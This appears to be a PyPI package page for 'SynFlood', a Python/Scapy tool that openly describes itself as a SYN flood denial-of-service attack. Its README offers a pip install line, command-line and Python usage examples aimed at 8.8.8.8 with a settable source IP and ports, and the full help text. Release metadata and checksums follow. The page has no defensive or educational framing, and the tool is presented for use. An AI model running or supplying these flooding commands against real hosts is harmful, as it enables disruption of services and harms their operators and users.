Skip to main content

SynFlood logo

SynFlood

Description

This package implements a SYN flood attack (DOS attack: Denial Of Service).

Requirements

This package require:

  • python3
  • python3 Standard Library
  • Scapy

Installation

pip install SynFlood 

Usages

Command lines

python3 -m SynFlood --help

python3 SynFlood.pyz --verbose --dport 80 --source 0.0.0.0 --sport 45586 --interface 172.16.0. --data abc 8.8.8.8

SynFlood -h
SynFlood 8.8.8.8
SynFlood -v -p 80 -s 0.0.0.0 -P 45586 -i 172.16.0. -d abc 8.8.8.8

Python3

from SynFlood import synflood, conf_iface
synflood("8.8.8.8", 80, "0.0.0.0", 45586)
synflood("8.8.8.8", 80, "0.0.0.0", 45586, b"abc", conf_iface)

Link

Help

usage: SynFlood [-h] [--dport DPORT] [--source SOURCE] [--sport SPORT] [--data DATA] [--verbose] [--interface INTERFACE] target

This script implements a SynFlood attack.

positional arguments:
  target                Target IP or hostname.

optional arguments:
  -h, --help            show this help message and exit
  --dport DPORT, -p DPORT
                        Destination port.
  --source SOURCE, -s SOURCE
                        Source IP.
  --sport SPORT, -P SPORT
                        Source port.
  --data DATA, -d DATA  Additional data
  --verbose, -v         Mode verbose (print debug message)
  --interface INTERFACE, -i INTERFACE
                        Part of the IP, MAC or name of the interface

Licence

Licensed under the GPL, version 3.

Metadata

Release files for SynFlood 1.1.4

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for SynFlood 1.1.4
File Size Uploaded
SynFlood-1.1.4.tar.gz 17.3 kB Details

Release files / SynFlood-1.1.4.tar.gz

Download URL SynFlood-1.1.4.tar.gz
Size 17.3 kB
Tags Source
SHA-256 checksum
How to use checksums
523806bee6c2ce7cc6eb99a763ace304d88fecebb4a22dd268a2a9dbffa3f570
BLAKE2b-256 checksum
How to use checksums
b669c81198583f7bff4b08be2f5a49c790294b6d473c6d4bb21b65fcbd022121
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/3.2.0 pkginfo/1.6.1 requests/2.25.0 setuptools/58.2.0 requests-toolbelt/0.9.1 tqdm/4.54.1 CPython/3.9.9

Release history Release notifications | RSS feed

This release

1.1.4 This release

1 release file

1.1.3

1 release file

1.1.2

1 release file

1.1.1

1 release file

1.1.0

1 release file

1.0.1

1 release file

1.0.0

1 release file

0.0.1

1 release file

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page